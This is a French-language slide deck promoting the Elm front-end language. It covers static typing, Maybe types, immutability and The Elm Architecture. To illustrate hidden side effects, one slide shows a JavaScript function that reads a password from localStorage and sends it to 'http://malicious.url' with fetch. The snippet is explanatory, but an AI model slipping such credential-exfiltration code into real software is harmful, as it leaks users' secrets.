Elm : le front-end heureux 😁

@JoGrenat

Remote Mob Programming

On recrute :)

Simplicité

module Main exposing (main)

import Browser
import Html exposing (Html, h1, text)
import Html.Attributes exposing (style)
import Html.Events exposing (onClick)

type alias User =
    { username : String
    , elmPreference : ElmPreference 
    }

type ElmPreference
    = LikeElm String
    | DontLikeElm

main : Html msg
main =
    if userLikeElm you then
        h1 [ style "color" "green" ] [ text (you.username ++ ", you like Elm! 🔥") ]

    else
        h1 [ style "color" "red" ] [ text (you.username ++ ", you don't like Elm?") ]

you : User
you =
    { username = "Jordane"
    , elmPreference = LikeElm "very much"
    }

userLikeElm : User -> Bool
userLikeElm user =
    case user.elmPreference of
        LikeElm _ ->
            True

        DontLikeElm ->
            False
  • npm / yarn
  • Babel
  • webpack
  • React
  • Redux
  • Immutable.js
  • lodash
  • Typescript
  • zod
  • ...
  • Elm

Le compilateur est votre mentor

Versions gérées par le compilateur

1.2.3

Majeure.Mineure.Correctif

Langage statiquement typé

let remoteString = null;
let isLoading = true;
let isOnError = false;
type RemoteString = 
  Loading 
  | Loaded String 
  | OnError Int String
const names = ['Fanny', 'Stéphane', 'Jordane'];
const firstName = names[0];
type Maybe a = 
  Nothing 
  | Just a
  
  
List.head names
-- Just "Fanny"
-- Nothing
const names = [];
const firstName = names[0]; // undefined

Les erreurs apparaissent rapidement

(pas en prod)

Le refactoring est guidé par le compilateur 👍

Programmation Fonctionnelle

const people = ['Fanny', 'Stéphane', 'Jordane', 'Evan'];

doSomething(people);

🤔

people.splice(2, 1, 'Lucien');

people.slice(1, 3);

🤪

Immutabilité

Penser local

function doSomething(people) {
  const password = localStorage.get('password');
  fetch('http://malicious.url?password=' + password);
}

😱

const people = List(['Fanny', 'Stéphane', 'Evan']);

doSomething(people);

Pas d'effets secondaires

Sécurité par design

Charge cognitive

😎

<troll>

</troll>

Pas d'exception au runtime

😍

If it compiles, it works!

The Elm Architecture (TEA)

Cmd Msg

Effets de bord

Runtime

Avantages

  • Très bonne Developer Experience
  • Pas d'exceptions au runtime
  • Super messages d'err
  • Des types surpuissants
  • Excellentes performances
  • Des concepts qui s'exportent

Désavantages

  • Modèle de gouvernance fermé
  • Boilerplate vs Explicite
  • Mindset shift

Slides : bit.ly/elm-frontend-heureux

Un workshop pour commencer

Elm, le front-end heureux

By ereold

Elm, le front-end heureux

  • 878